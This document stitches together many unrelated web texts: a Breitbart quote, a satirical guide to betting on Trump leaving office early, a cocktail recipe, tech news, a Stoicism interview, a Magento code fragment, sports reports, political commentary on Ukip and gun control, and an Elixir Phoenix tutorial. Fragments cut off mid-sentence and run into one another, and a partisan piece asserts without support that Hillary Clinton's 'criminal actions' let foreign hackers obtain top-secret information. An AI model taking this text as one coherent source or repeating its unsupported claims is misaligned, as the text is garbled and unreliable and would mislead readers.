“A lot of people thought the fourth plane those American heroes took down in Pennsylvania was probably going for the White House,” he continued. “The information I have is he was going to the Capitol. There are some surveys that show the U.S. Capitol is the most recognized building in the world.”
“That dome is a symbol of what’s right with America. We have just seen that, that whole thing can be taken out by anybody without Homeland Security or any of our security doing one thing to stop it,” he added.
Follow Pam Key on Twitter @pamkeyNENTo start with, make sure you’re offered generous odds. Getting rid of a president in year one is a heavy lift. No U.S. president has failed to complete his first term, let alone his first year, unless death got in the way. Nor has any been impeached while his own party had a majority. Only one president, Nixon, has ever resigned. So Trump would either have to do something exceptionally terrible or fall victim to something exceptionally terrible.
Web sites have already been launched in support of such efforts, and Mother Jones reports that bookmaker Paddy Power offers a 7:4 payout on Trump failing to complete his first term (i.e., seven dollars in potential winnings for each four dollars you bet) and 4:1 on his getting impeached during his first six months in office (versus 500:1 on Trump painting the White House gold). Many people don’t just think it’s possible that Trump will exit office early; they think it’ll happen within his first year. We can’t deny that it’s daffy, but if people have the idea, let’s entertain it. It’s time for a bettor’s guide.
As we approach the one-week mark of Donald Trump’s presidency, conversation among his enemies naturally turns to impeachment. As Robert Kuttner wrote in The American Prospect, the process of assembling the charges “needs to begin now.” And that was two weeks before Trump’s inauguration. Imagine Kuttner’s impatience today.
Let’s start with the Trump-does-something-terrible possibility. The site ImpeachDonaldTrumpNow.org argues that Trump, by maintaining ownership of a world-spanning business empire and receiving income from it, is in violation of the “Foreign Emoluments Clause” of the U.S. Constitution. The Center for Responsibility and Ethics in Washington has already filed a lawsuit along these lines. But it’s a long shot. Even if the plaintiffs prevail on the legality, they’ll have trouble convincing skeptics that the alleged offense rises to the level of “treason, bribery, or other high crimes and misdemeanors.” So Trump would have to do something more severe, like accept a royal fiefdom in Saudi Arabia.
In theory, of course, Trump could commit serious crimes. In a recent Slate roundup, contributors predicted that a Trump presidency would see the killing of a prominent anti-Trump journalist, the collapse and bailout of the health-insurance industry, and the extinction of polar bears. This sounds a little excessive, but let’s roll with it.
Video: Every Tweet by President Elect Donald Trump
At least one of those things, a murder ordered by the president, would qualify as a high crime, and the elimination of polar bears, which enjoy high approval ratings, would soften a lot of Trump’s support. Nevertheless, problems relating to bears and bailouts would take longer than a year to come about, and conspiracies to kill someone take a long time to investigate. Also, even the mafia has traditionally avoided killing cops or journalists, because it makes problems 10 times worse. Perhaps the deep state could plant evidence of a horrible offense on Trump, but that, too, would take a while to engineer. “High crimes” within a year is a possible bet but not a good one.
That leaves the darker options: the incapacitation or demise of Trump. No matter what you think of our president, these would be very bad for the country. But, in the name of thoroughness, we’ll go ahead and consider them.
One risk to which the elderly are vulnerable is that of losing their minds. Trump, at 70, is on the old-ish side, and dementia afflicts about 1 in 20 people ages 71 to 79. He was more lucid in interviews a decade ago, and his impulse control today seems lower than ever. Then again, Trump has never been known for extreme self-restraint, and we’re all going mentally downhill after 30, so his decline is probably normal and trivial. If not, dementia isn’t obvious in merely a year anyway. Trump could instead suffer something more dramatic, like a stroke, but we’d still have no set way to deal with it. Melania Trump, like a modern-day Edith Wilson, could wind up becoming our de facto president, which would definitely be an aesthetic improvement but not an official changing of the guard. (The “palace coup” remedy of the 25th Amendment makes things easier than they were in Wilson’s time, but only a little.) So don’t put your money on Trump leaving office for anything cognition-related.
Another possibility is that Trump could die from sickness or accident. This would be disastrous and launch a thousand conspiracy theories, at least if the cause were anything other than a tidal wave. But all of us are mortal, and four U.S. presidents—nearly 10 percent of the number we’ve had—died of non-criminal causes while in office. All it took for poor Zachary Taylor, it seems, was a bad batch of milk, apples, and cherries. George W. Bush nearly succumbed to a pretzel. Trump seems robust over all, but he is at least a few dozen pounds overweight, so there’s an above-average risk of a stroke or heart attack. Odds of it happening in year one are still low, though. Even a 50:1 payout might not be enough.
Far worse—nation-destroying, at worst—would be a premature end to the presidency because of assassination. At a time when Americans are already in a cold war with one another, such an event could trigger violence across the country and warp our politics enduringly, making Trump’s presidency look like a minor ripple by comparison. Still, nearly every president in the past 50 years has experienced attempts on his life, and that includes Trump, who has already survived at least one. (The would-be killer goes free in less than a year, which, on the face of it, seems very soon.) If the Trump-is-Hitler narrative continues to gain force even among normally level-headed people, it’ll surely inspire crazed crusaders to attempt stupid things. Depressingly, the odds of such calamity are not as low as they ought to be.Combine ingredients in shaker tin. Muddle kiwi until crushed. Add a few pebbles of crushed ice and whip to froth pineapple juice. Dump into collins glass 1/2 filled with crushed ice. Top with crushed ice and garnish with mint sprig.
QUOTES FROM OUR JUDGES
Great balance with just a few ingredients. Everything in the drink I could taste. Very clean. - Julian Cox
El Comendador was a fun drink. I like the play of the vanilla from Atlantico, the smoke from mezcal (with the pineapple), and the acidity of the lime. Overall - delightful for day drinking. - Josh Goldman
Alex Straus: The smoke from the Pierde Almas was a light touch on what was a well balanced tiki style afternoon drink. -
Alex Straus
(February Guest Judge)Microsoft is rolling out an update for Insiders in the Release Preview ring for Windows 10 that rebrands the built-in Windows Store app as "Microsoft Store" along with changing its icon in Start and on the Taskbar.
The rebrand is currently in testing with Insiders, and outside of the rebrand itself nothing else appears to have changed in the app. Microsoft may be planning to start selling more than just digital content in the built-in Windows 10 Store app, hence its rebrand to "Microsoft Store."
Microsoft already has an online Store which it calls "Microsoft Store" too, where it sells software and hardware from first and third-party partners. It wouldn't be surprising to see Microsoft begin moving that content in to the new Microsoft Store app too at some point.Q: How would you introduce yourself and your work to our readers?
I’m a psychotherapist, life coach and educator who specialises in CBT and has a long-standing interest in the practical applications of philosophy. I’ve written two books. Wise Therapy is for counsellors interested in how philosophy can inform their work. Achieve Your Potential with Positive Psychology is for anyone who would like to discover what the new science of well-being has to offer. I’ve been part of the Stoicism Today project since its early days. My main job has been to design and implement research to determine whether Stoicism helps or not. We have got very positive results, and the more I learn about Stoicism and its positive impact, the more I have been drawn to Stoicism.
Q: How do you currently make use of Stoicism in your work?
My background in both philosophy and psychology is pretty broad – philosophically I find elements of Aristotle, Epicurus, the Utilitarians and Existentialists insightful as well as the Stoics. As for psychology, I have trained as an existential psychotherapist and Cognitive Behavioural Therapist (CBT) as well as being informed by Positive Psychology and Compassion Focussed Therapy (CFT) and third wave mindfulness-based CBT approaches. When I’m working with a client I draw on the approach that has the most evidence base for their problem. Where the evidence doesn’t point towards one specific approach I try to find the best blend of approaches given my understanding of their issues.
So where does Stoicism fit into the mix? Many readers will be aware that Stoicism heavily influenced the founders of CBT, Beck and Ellis, so in a sense I am making use of Stoicism every time I practice CBT. But there’s a lot more to Stoicism than the nuggets appropriated by CBT. For example, the Serenity Prayer wisdom of distinguishing between what you can control and what you can’t and then focusing on what aspects of your life you can control can be a revolutionary paradigm shift for people people have had an adverse life event – illness, bereavement, redundancy or being dumped.
When clients present with depression and anxiety, best practice is to use the most evidence-based approach for their problem, which is often CBT. Even in these cases though, Stoicism can sometimes turn out helpful in quite unexpected ways. One case I remember well was a man who presented with severe and chronic generalised anxiety disorder i.e. he worried a lot. We worked for a few sessions using traditional CBT, and we made some progress. Next session he walked in with a smile on his face announcing he felt completely differently about life. “What’s happened?” I wondered out loud. “Well, I googled you and saw that you were into Stoicism. So then I googled “Stoic videos” on YouTube and, wow, did they make a difference!” With the help of Marcus Aurelius and negative visualisations, this chronic worrier had come to realise that that the things he worried about – money and status – didn’t actually really matter in the grand scheme of things. Stoicism had reached the parts that other therapies could not reach!
Q: When and how did you first become interested in Stoicism?
I first read the Roman Stoics when I was an undergraduate, but to be honest I was put off by some of the metaphysics and seemingly uncompassionate language. Reading Richard Sorabji’s Emotion & Peace of Mind was a real game-changer for me as it clarified how a distinctly Stoic understanding of the emotions could be both plausible and helpful. I wrote a bit about this in Wise Therapy back in 1999. But it was only much later in 2012 when I joined the Stoicism Today team that I got a deeper and more sympathetic understanding of Stoicism, through reading and discussing Stoic ideas and taking part in Stoic Week myself. Trying out the version of Stoicism put forward in the Stoic Week Handbook is a really good way of understanding the ideas better and learning which of the many tools are helpful for you personally.
Q: What’s the most important aspect of Stoicism to you?
The things that really stand out for me are Stoicism’s focus on wisdom and virtue and its practical exercises. Other Greek philosophies such as Aristotle and Plato were great on theory but much less helpful when it comes to practice. Over hundreds of years the Stoics developed a gamut of tools to help develop wisdom and virtue. The more you go into it, the more you realise the wealth of highly readable books and helpful meditations and other practices that are available.
I now see Stoicism as working at 3 levels. At level 1, there are all the exercises you can use without necessarily going into Stoicism at a deeper level – such as the Serenity Prayer, morning and evening meditations, negative visualisation, View from Above and concentric circles of Hierocles.
At level 2 you begin to see Stoicism as a complete system, with its own views on what matters in life (ethics), the nature of the universe (metaphysics) and how we should use reason (logic). Level 2 has its benefits and drawbacks. On the plus side, Stoicism is a lot more powerful once you buy into all of its ideas. For example, at level 1 the Serenity Prayer tells you to focus on what you can control. The level 2 Stoic takes this much further as she believes that that the only thing you can really control is your own thinking and action. How exactly should you control your thinking and what should you do? According to level 2 Stoicism, you should live according to the virtues – so you should be wise, courageous, just, self-controlled and have a love of all humanity. This is within your control and, the Stoics add, if you do this, you will also be an excellent and flourishing human being. The Stoics then claim that being an excellent human being is all that really matters – virtue trumps feeling good every time.
So if you are upset by something – for example, to take the topic of my 2016 Stoicon workshop, the idea that Donald Trump might be the next US President, you first tell yourself to focus only on those aspects of the situation you can control. You next think about how you can respond virtuously to the situation – which in this case might be doing all within your powers to help those adversely affected by any policies that worry you. It was this kind of paradigm shift that my chronically worried client experienced. Overnight he had become a level 2 Stoic, and that had shifted his perspective so much that he really didn’t care so much about what the Stoics call “preferred indifferents” which had been driven his generalised anxiety disorder.
The downside of level 2 Stoicism is that there may well be parts of the Stoic system |
this->_directoryHandle->isWritable($destination)) { throw new \Magento\Framework\Exception\LocalizedException(__('Destination file is not writable')); } $this->_destination = $destination; $this->_init(); } } /*...*/
We see that it takes with 2 arguments, the second one is the output file destination. If we want to set a specific path we can easily do so with passing the destination argument using the di.xml file:
app/code/LDusan/Simple/etc/di.xml
<?xml version="1.0"?> <config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="../../../../../../lib/internal/Magento/Framework/ObjectManager/etc/config.xsd"> <type name="Magento\ImportExport\Model\Export\Adapter\Csv"> <arguments> <argument name="destination" xsi:type="string">feeds/product_feed.csv</argument> </arguments> </type> </config>
As a result of this, the feed will be saved in the file that we defined in the xml file. I think this is generally a good approach and that it provides a cleaner way of extending default functionalities.
There is still work to do
If we did everything correctly we should notice the feed in our system’s temporary folder each Monday morning.
Although the task is accomplished, our module is not finished yet. We need to create some tests that will make sure that everything works smoothly. We’ll leave that for the next article.
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Feel free to share.The new trend which could send stocks higher 2:43 PM ET Thu, 5 May 2016 | 01:58
Corporate America may have overplayed its hand when it comes to the earnings game.
With the first-quarter earnings season almost completely on the books, one of the biggest stories aside from the 7.1 percent decline in profits was that investors were less impressed than usual with companies that beat expectations. They have also been giving a harder time to companies that missed analyst estimates.
Taken together, the reporting season tells a story of investors both getting savvier about the collective lowering of the earnings bar, and growing more leery of market valuations.
"Companies have been very negative on their own earnings when they're giving guidance," said Greg Harrison, a research analyst at Thomson Reuters. "They've been really trying to push the bar down."
That bar went so low that it was pretty easy for most companies to clear it. With 87 percent of the S&P 500 reporting, 71 percent topped expectations for bottom-line profit, with 53 percent beating on the top-line revenue side, according to FactSet.A celebration organised for this weekend to replace the annual Festival of World Cultures in Co Dublin has been cancelled suddenly by the organisers.
The People’s Festival, due to take place in Dun Laoghaire today and tomorrow, was called off at short notice yesterday.
In a message of the social networking site Facebook, the organisers said it was with the “deepest regret” they had taken the “11th hour” step.
They said they took “full responsibility” for what they described as “the oversights involved in the festival’s planning which have led us to withdraw from the implementation of this festival”.
“As we speak arrangements are being made for what can only be billed as an alternative and consolatory event in Dublin City instead, which it must be stated will not serve as a festival but rather a gathering of those involved up to this point and those who support and understand the spirit intended by the original concept.”
They said there would be no events relating to the People’s Festival happening in Dun Laoghaire today or tomorrow in any of the venues previously notified, including the 40 Foot Bar & Grill, The Harbor Bar, Scotts Cafe Bar or any other venue.
The website for the event also appeared to have been taken down.
This year marked the first year that the Festival of World Cultures celebration of ethnic diversity won’t be held in Dún Laoghaire since its inception in 2001.
The People’s Festival was organised to fill the gap left behind.
Although much smaller in scale, the new festival was to incorporate music, dance, poetry, film, comedy, fire performance and other events.
The second annual Dún Laoghaire ukulele festival – Ukulele Hooley By The Sea - is going ahead as planned this weekend.Show paragraph
A bit confused here. Apart from the fact that the German labour market is protected by government regulation, the fact that German employers invest heavily in their employees ensures firm specific skills, deterrence to lay off etc etc. But what is preventing the US firms to invest in their employees? Having worked in the US, I know that US firms invest a lot in their employees. Many mainstream firms (with the exclusion of the IT services) have outsourced lot of its work to the low cost countries - agreed..But then if a greater percentage has outsourced by building captive centres, then US firms are still investing in its employees but in a different location... I think at the end of the day, it is primarily the government regulations that for the moment place German labour market in a better position because they have ensured that they are protected / cocooned off from the competitive effects of globalisation.Image by Laura Reyerse
While fossils can tell us a lot about the lives of extinct animals, there are many pieces of the prehistoric puzzle that can’t be preserved in stone. Things like behaviour, sex, and colour can rarely be parsed directly from fossils, but this doesn’t necessarily mean these mysteries will never be solved. Intelligence is one of those things that can’t be trapped between ancient sediments, but there are still some ways for paleontologists to guess at the brainpower of long-dead animals.
Dinosaur intelligence, like many subjects in paleontology, is dominated in popular culture by misconceptions. The first main one is the classic image of dinosaurs being barely smart enough to survive, merely getting along through brute strength and ferocity.
The other misconception is the more recent concept of super-intelligent dinosaurs—predators that are able to use sophisticated tools and hatch complex plans. Jurassic Park’s infamous “velociraptors” helped embed this idea in pop culture, and the belief that predatory dinosaurs were somehow extraordinarily smart has been widely held ever since.
As with most aspects of science, the real answer lies somewhere between the two extremes. While dinosaur intelligence almost certainly varied from species to species, there were almost certainly no dinosaurs that were significantly less intelligent than the large, plant-eating mammals of today, and none that were as smart as modern apes.
But how can paleontologists know this? The most simple way to try to judge an extinct animal’s intelligence is by looking at their brain-to-body mass ratio, which measures the size of the animal’s brain in comparison to the size of the animal. This method led to the initial conclusions that dinosaurs with small brains, like stegosaurs, were not very bright, while dinosaurs with comparatively large brains, like raptors, were.
However, this method has some significant problems, as it fails to accurately judge intelligence in living animals. For example, humans and mice have an identical brain-to-body mass ratio of 1:40, but few would argue that they have comparable intelligence. Brain-to-body mass ratios can still be a useful tool when paired with behavioural observations, but paleontologists don’t have this luxury. Instead, they’ve had to turn to the closest living relatives of dinosaurs: crocodilians (the group composing crocodiles, alligators, and gharials) and birds.
By examining the brains and behaviours of modern crocodillians, which are closely related to the ancestors of dinosaurs, and those of birds, which are themselves highly-derived dinosaurs, scientists can begin to infer the intelligence of extinct dinosaurs. While it is common knowledge that birds can be exceptionally intelligent, capable of learning abstract concepts and using tools, this type of intelligence couldn’t be attributed to dinosaurs if their ancestors didn’t also have these traits.
But recent research has begun to show that crocodilian brains are astonishingly similar to those of birds, and share areas of the brain that are associated with vocal learning. A new study has also shown that some alligators and crocodiles are even clever enough to use tools to catch their prey, arranging branches on their snout to attract nest-building birds. This implies dinosaurs would have inherited these behaviours from their ancestors.
What we know of dinosaur intelligence paints them as complex animals with the capacity for very sophisticated behaviour, a far cry from the lumbering giants we once imagined them to be. Yet this doesn’t necessarily mean they were as smart as chimps or dolphins, and extraordinary evidence would be needed to prove that they were. So rest easy—if for any reason you find yourself being chased by a genetically-engineered raptor, you should be safe behind a closed door.Malloy issues ACA challenge to NRA
Gov. Dannel P. Malloy Gov. Dannel P. Malloy Photo: Autumn Driscoll/file, Autumn Driscoll Buy photo Photo: Autumn Driscoll/file, Autumn Driscoll Image 1 of / 1 Caption Close Malloy issues ACA challenge to NRA 1 / 1 Back to Gallery
HARTFORD -- Commemorating Connecticut's first anniversary of tougher gun laws, Gov. Dannel P. Malloy didn't mince words on Thursday, loudly challenging the National Rifle Association to support the federal Affordable Care Act and help expand opportunities for mental-health treatment.
Speaking in the same spot in an ornate Capitol meeting room where on April 4 of last year he signed gun restrictions in response to the Newtown School massacre, Malloy said that while the NRA professes to support enhanced mental-health opportunities, in reality it doesn't.
"There are those who will say this is not a gun problem, it's a mental-health problem, and today I want to challenge that," he said. "If it's a mental-health problem, NRA, why aren't you advocating for the ACA? Why aren't you criticizing governors who will not allow Medicaid to be delivered to their citizens, with its mental-health component? NRA, if you're serious about making America safer, you would join Connecticut, as we have had one of the most successful rollouts of the ACA, bringing mental-health treatment to tens of thousands of people who might not otherwise have it."
The NRA did not return a request for comment. A pro-gun rally sponsored by the Connecticut Citizens Defense League is scheduled for noon Saturday on the state Capitol grounds.
During a 45-minute news conference, Ron Pinciaro, president of the umbrella group CT Against Gun Violence, announced that 20 participating activist groups would form a so-called super PAC to support politicians who work for tighter gun laws and who voted in favor of last year's bill to create further prohibitions on military style weapons and ban large-capacity ammunition magazines.
Social media, billboards and other support activities are to be part of the Super PAC's tactics.
"We are united in our commitment," Pinciaro said. "For those who thought the `Connecticut effect' may have worn off by now, that is absolutely not the case. Our members are every bit (as) committed as they were a year ago, when the landmark bipartisan bill was signed. And now, working with this coalition you see here today, we will show our gratitude, our commitment and our support for those who stood with us."
About 100 people heard Pinciaro say that Wednesday's shootings at the Fort Hood military base in Texas underscored the prevalence of violence in the nation, despite Connecticut's efforts last year that gave the state the second-toughest gun control laws in the nation.
"They say that lightning doesn't strike twice until it does," Pinciaro said.
"Gun homicides in Connecticut have fallen from 115 in 2012 to 72 in 2013," he said. "That's the lowest rate since 2002."
In the big cities of Bridgeport, New Haven and Hartford, where 75 percent of Connecticut gun homicides occur, such deaths dropped from 75 in 2011 to 50 in 2013.
The Rev. Max Grant, of the Greenwich Council Against Gun Violence, said there is a conscious choice for people.
"As a nation, we must choose who we will serve," he said. "Will we serve the merchants of death who make profit from destruction? Will we serve those who say 30-round clips and an assault weapon are vital for hunting? Will we serve those who say it is fair and right that driving a car or getting on a plane should be harder to do that it is to purchase a handgun?"
Dr. William Begg, of the United Physicians of Newtown, who was in the Danbury Hospital emergency room during the Sandy Hook Elementary School shootings, said that the weaker gun policies are, the higher the number of gun-related deaths will be every year.
"The Newtown tragedy of 2012 was the tipping point," Begg said. "It was the time America said enough is enough -- we cannot continue to allow 30,000 to die from guns each year."
David Stowe, a co-founder of the Newtown Action Alliance, said violence continues.
"Strong gun laws will not stop all gun violence, but they are important, key parts to the solution," he said.
[email protected]; 860-549-4670; twitter.com/KenDixonCT; facebook.com/kendixonct.hearst; blog.ctnews.com/dixonWIKILEAKS: Hillary Clinton Sent THOUSANDS of Classified Cables Marked “(C)” for Confidential
The FBI released documents Friday evening before the Labor Day Holiday on the agency’s interview with former Secretary of State Hillary Clinton.
The report contains numerous bombshells that show just how careless the former secretary of state was in maintaining and using a private email system while in office, including these headlines from the Drudge Report.
SERVER BREACHED…
PORN PHISHING SCHEME…
SHE CLICKED ON IT!
SIGNED FOR RECEIVING CLASSIFIED TRAINING — SAID SHE DIDN’T…
LOST CELL PHONES WITH SENSITIVE INFO…
THOUGHT CLASSIFIED MARKINGS WERE ‘ALPHABETICAL PARAGRAPHS’…
WITHHELD 17,500 EMAILS…
LIST: THINGS SHE ‘COULD NOT REMEMBER’…
The former State Department Secretary’s careless and criminal actions led to foreign hackers to obtain top secret government information.
And Wikileaks questioned the timing of the release.
Why do significant Hillary Clinton FOIA releases always happen on Friday afternoon, or before a national holiday? — WikiLeaks (@wikileaks) September 2, 2016
They posted the documents on their website.
Wikileaks announced Clinton sent and received “thousands” of cables with “(C)” paragraph classification markings.
Note on Clinton FBI report: Our records show that Clinton sent & received thousands of cables with "(C)" paragraph classification markings. — WikiLeaks (@wikileaks) September 2, 2016
UPDATE: From a trusted source:
Classified means the information is classified into a…well…certain classification, such as: U = Unclassified
SMB = Sensitive But Unclassified
C = Confidential
S = Secret
TS = Top Secret
Some form of SCI = can’t really go into that (I signed the same 75 year NDA as Hillary).Marco Reus reminded Gladbach coach Lucien Favre, should it be necessary, of what he's missing this season on Saturday, opening the scoring and wrapping up a comfortable win for his new club Borussia Dortmund.
After a balanced opening, Reus got a little bit of luck early in a run after 35 minues, he continued his dribble into the box and nutmegged Gladbach keeper Marc-Andre ter Stegen.
The rout was the ideal warm-up for coach Klopp ahead of a midweek Manchester City encounter
Central defender Neven Subotic, who had already hit the bar and tried his luck from distance, headed home a Jakub "Kuba" Blaszczykowski cross to make it 2-0 five minutes before the break.
Dortmund dominated the second period but were repeatedly rebuffed by ter Stegen. Reus managed to beat his fellow German international again with an outrageous swirling shot from an improbable angle with 20 minutes left on the clock.
That put the game beyond doubt, and when ter Stegen limped off holding his lower back, matters looked set to deteriorate. Within five minutes of swapping keepers, Gladbach were down 5-0. Impressive midfielder Ilkay Gündogan scored courtesy of another Kuba cross, and then returned the favor - setting Kuba up for one of his own with a pinpoint pass.
Dortmund turn around a rather lean spell with this emphatic result, while last year's cinderella side continues to reel - with Gladbach still seeking rhythm and cohesion among its new-look outfit.
Better late than never
League leaders Bayern Munich faced a stiff test from their historically least-loved opponents Werder Bremen, but finished up with a comfortable 2-0 on the scoreboard in Bremen.
Luiz Gustavo's opener was a real peach
In a tight game with saves at both ends, albeit with Sebastian Mielitz busiest in the Bremen goal, Luiz Gustavo broke the deadlock with a delicious left-footed curler from the edge of the box. There was next to no power behind it, but it was placed out of Mielitz's reach.
Bremen immediately won a corner, seeking to tie the game back up, but they conceded possession instead of generating a chance. Bayern raced away with numbers down the pitch, and two substitutes combined to double the advantage. Xherdan Shaqiri timed his low ball to Mario Mandzukic exquisitely, the Croatian international forward would have found it harder to miss clean through in front of goal.
Mandzukic did not start for Bayern, with former Bremen mainstay Claudio Pizarro given the nod up front, but he was the striker to do the damage.
Bayern are a perfect six and six at the top of the Bundesliga - with 19 scored and just two conceded - no team can overtake them over the course of the weekend.
Stuttgart stop the rot
With two points from their first five games, Stuttgart went into their match in Nuremberg badly needing a favor.
Stuttgart have had little to celebrate in the league thus far
Within a minute, defender Marcos Antonio presented just such charity, scuffing a back-pass and allowing Vedad Ibisevic to intercept and beat Raphael Schäfer from point-blank range. It was the earliest goal of the afternoon fixtures, and the easiest.
The game was a tight affair for the most part, but Ibisevic later turned provider and set up Martin Harnik for Stuttgart's second. The win moved Stuttgart, at least temporarily, out of the drop zone after a disastrous start to the season.
Super-sub Sidney Sam
Lukewarm Bayer Leverkusen played out a dry, goalless first half against visitors Greutehr Fürth, before looking to bring some pace off the bench.
Sidney Sam came off the bench to decide the game for Leverkusen
Sidney Sam replaced Karim Bellarabi at the break, and within 20 minutes he had scored two goals for the pharmaceuticals - the opener assisted by German international Andre Schürrle.
Bundesliga debutantes Fürth slide into the relegation zone with that defeat, while Leverkusen are inching back towards the upper echelons of the table where they are expected to compete.
Rudnevs decides derby
Hamburg continued their resurgence with an impressive 1-0 win against high-flying Hannover, with Latvian summer signing Artjoms Rudnev scoring the only goal of a deceptively entertaining game after 20 minutes of play. Heung-Min Son started the move, before Rafael van der Vaart played a sweet pass through to the Latvian, who also scored on Wednesday in Mönchengladbach.
'Struggling' Hamburg have seven points from three games - all against European qualifiers
Son put the ball in the net himself later in the game, but was ruled just offside as he rounded Ron-Robert Zieler to score.
Hannover clocked only their second defeat of the season, their first with red-hot playmaker Szabolcs Huszti on the pitch.
Forget the football
The other afternoon match ended in a goalless draw, as Hoffenheim hosted Augsburg. The home side were playing in dedication to midfielder Boris Vukcevic, who was seriously injured in a car crash on Friday morning and lies in an induced coma in a Heidelberg hospital.
The game produced no goals, and Hoffenheim sub Sejad Salihovic's red card was the most notable moment. Coach Markus Babbel, upset by the call, was also sent into the stands for an excessive protest.
On Friday, Düsseldorf conceded its first goals of the season, but rallied in the second half to draw 2-2 with Schalke.After months of skirting around the question, we’ve been given a good glimpse of what Ukip’s 2015 general election manifesto will look like.
In an interview with Prospect magazine, Tim Aker, Ukip MEP for the Eastern Counties and head of the party's Policy Unit, has shown a hand that, though not unexpected, should be of genuine concern to liberal-minded voters.
First, the good news. Following a line reminiscent of the Liberal Democrat pledges at the time of the last general election, Aker says that his party “want to take low earners out of income tax altogether" with "no tax on the minimum wage”.
So far so liberal from the man charged with writing Ukip's manifesto. However, under the guise of wanting “flatter, simpler and lower taxes”, Akers goes on to say that Ukip will promise to increase the level at which the 40p income tax rate begins to £45,000, and no higher rate will exist – ie. the current top rate of income tax will be abolished completely.
We can debate whether or not this move is regressive all we like, but it doesn't change the fact that if you want to tackle inequality through tax reform Ukip would do much better to focus on evidently regressive taxes such as VAT and council tax, of which there is no mention in Aker’s interview.
More worryingly – and this is something that does seem to fall at a more obvious point on the left/right spectrum – is that “foreign aid is an obvious target” for cuts that Ukip are looking to make to reduce the deficit.
With a target spend of only 0.7 per cent of GDP for 2013-14, this shows a clear misconception of how big an impact cutting official development assistance could have on the nation’s finances, not to mention the good it does overseas. As of 2010, nearly half the world's population were surviving on less than $2 a day. Less than one penny in every pound of government money is a small price to pay for alleviating this suffering plus, after National Audit Office and House of Lords Committee reviews over recent years, there is now more scrutiny to ensure our aid is spent more effectively.
Further plans to shrink parts of the Department of Energy and Climate Change and Business Innovation and Skills will apparently be independently reviewed, but “not by the OBR [Office for Budget Responsibility]”.
But it is welfare reform where the Ukip plans really put them further to the right of a lot of Conservatives. (Bar a commitment to scrap the relatively unpopular ‘Bedroom Tax’, which might be driven by popular sentiment than anything else.
Under a Ukip government, the benefit cap would stay and child benefit would be limited to two children. Not so radical, until you read about Ukip's plans for immigrant benefit claimants. Aker says the 2015 manifesto will include commitments to the effect that “new migrants to this country will not be eligible for any welfare benefits until they have been paying tax and national insurance for five years.”
A lot can happen in five years. Perfectly skilled, hard-working migrants could find themselves out of a job through no fault of their own. Over such a long period, its not unlikely that this will happen at some stage, but UKIP plans to deny them access to the same safety net they would provide for British born workers.
As well as a plan to increase the strength of the border force, Aker says that to come to the UK “you must show that you have been working in that profession for 12 of the last 24 months, that you can speak English and that you won’t need tax credits.”
You can almost hear foreign companies crying out to invest in UK business under such conditions, while their most talented new employees wouldn't have a hope of relocating either.
Aker’s policy hints do at least suggest that Ukip is looking to draw bolder distinctions between itself and the main three parties. This is particularly stark in his criticism of the Data Retention and Investigatory Powers Act, which Aker says was “rushed through” parliament after receiving support from the Tories, Labour and Liberal Democrats alike. The Ukip pledge of a “complete review of it and the rebalancing of what level of intervention the security services can have in our lives” is an open challenge to them on that front.
“We’re beyond left-right” insists Aker. Even if that’s so, it doesn't make the manifesto he’s drawing up wise, and how many of these ideas actually make it through to the final manifesto will be key in setting the tone of what will undoubtedly be an aggressive campaign by Ukip.
Justin Cash is a reporter at LegalWeek and tweets @Justin_Cash_1When I first started becoming interested in Elixir one of the things that drew me to the language was how much attention Phoenix was getting. Articles such as hitting 2 million web sockets in Phoenix impressed me greatly, and really spurred on a building curiosity for distributed systems and functional programming in me. I began my Elixir journey attempting to get in to Phoenix, but the syntax and style of Elixir was just too different from what I had used previously for me to immediately jump straight in to a web framework. I didn’t want to simply learn Phoenix, and I worried that if I did I would rely too heavily on what the generators could do for me and struggle any time I wandered off the garden path.
Changes In Phoenix v1.3.0
The big new thing with Phoenix v1.3.0 is the new directory structure that the generators use, and where the generators put different types of code. Based on comments Phoenix’s creator Chris McCord made in this video, now would appear to be a great time for newcomers to Phoenix to start playing with the framework. These changes seem to be squarely aimed at helping people that are new to Phoenix make better decisions about their application from the get-go, and so should make it easier for newcomers to grow their Phoenix applications beyond a trivial tutorial application.
Note To Future Readers
This blog post was originally written using Phoenix v1.3.0-rc2. Between the original publication date of this blog post and Phoenix v1.3.0’s official release there were a number of changes that affected the examples in this blog post, including further directory structure updates, different names for schemas and tables created using the generators, and the removal of :required from the generators. This blog post has been updated to reflect those changes, and the example repository has been updated to reflect all of the new changes. The previous Phoenix v1.3.0-rc2 code is available in the same repository, and is tagged with phoenix_v1.3.0-rc2.
Installing Phoenix
If you don’t already have a valid elixir environment up and running, we’ll need to get that done first. Instructions for macOS, several *nix flavours and Windows are available on the official elixir-lang website. As part of installing Elixir you’ll also get mix, a build tool and task runner for Elixir, which we’ll use throughout this blog post.
Installing Phoenix is pretty painless, however at the time of publishing we can’t follow those instructions verbatim, as Phoenix v1.3.0 currently only has Release Candidate releases available. Running the below incantation in your command line of choice should result in you with a version of Phoenix >= v1.3.0.
mix archive.install https://github.com/phoenixframework/archives/raw/master/phx_new.ez
And that should be pretty much it, pretty easy, right? You can run mix --help to list out all your available mix tasks, and if you do so you will hopefully see some tasks following the phx.* naming convention.
Building An App
For our first foray in to Phoenix, we’re going to be building out the beginnings of a rostering application. Rostering is a necessary part of many groups, including small businesses and sporting associations.
As many people can also attest it’s very easy for rosters to be poorly managed. I’m still amazed when I hear stories of people having to go in to work to look at a printout of an Excel spread sheet to find out what their shifts are for the coming weeks. Worse still, with that sort of system it’s easy for the roster to be changed without someone realising, potentially resulting in them missing a shift.
Thinking A Little Bit Up-Front
Now before we go bashing away at the terminal or IDE, since we’re just starting with our app let’s sit down and spend some time mapping out some of the bigger concepts we’ll need to include with our application.
Our application is a rostering application, so a concept of a “roster” is definitely going to be a part of it. Now, a roster is really just a collection of shifts that people will be working, so we’ll also need to model both of those concepts, shifts and people. And these people are building rosters to meet the needs of their group, so we’ll need a way of representing those groups in our application too.
Now in most groups, not everybody is responsible for creating the rosters, only certain people are, whether they be a boss, manager or a dad helping out their kid’s sporting team. It’s quite probable that somebody will need to be a member of multiple rosters, and depending on their status within a group, we may have to limit their ability to edit shifts. We’ll need to support these different relationships in our modelling of the situation, including tracking an individuals relationship with all groups they’re a member of.
So we’ve picked up a few core concepts we need to model, User, Shift, Roster, and Organisation. And we’ve also started to think about the relationships between these concepts.
User 1 ────────── * Shift * ────────── * Roster * 1 └────────── * Organisation * ────────────┘
To me, it seems we have three areas of concern, or domain boundaries; user management, organisation management, and rostering. We’ll have to keep that in mind when we begin scaffolding out our application. For now, let’s flesh out some of our domain a little bit more.
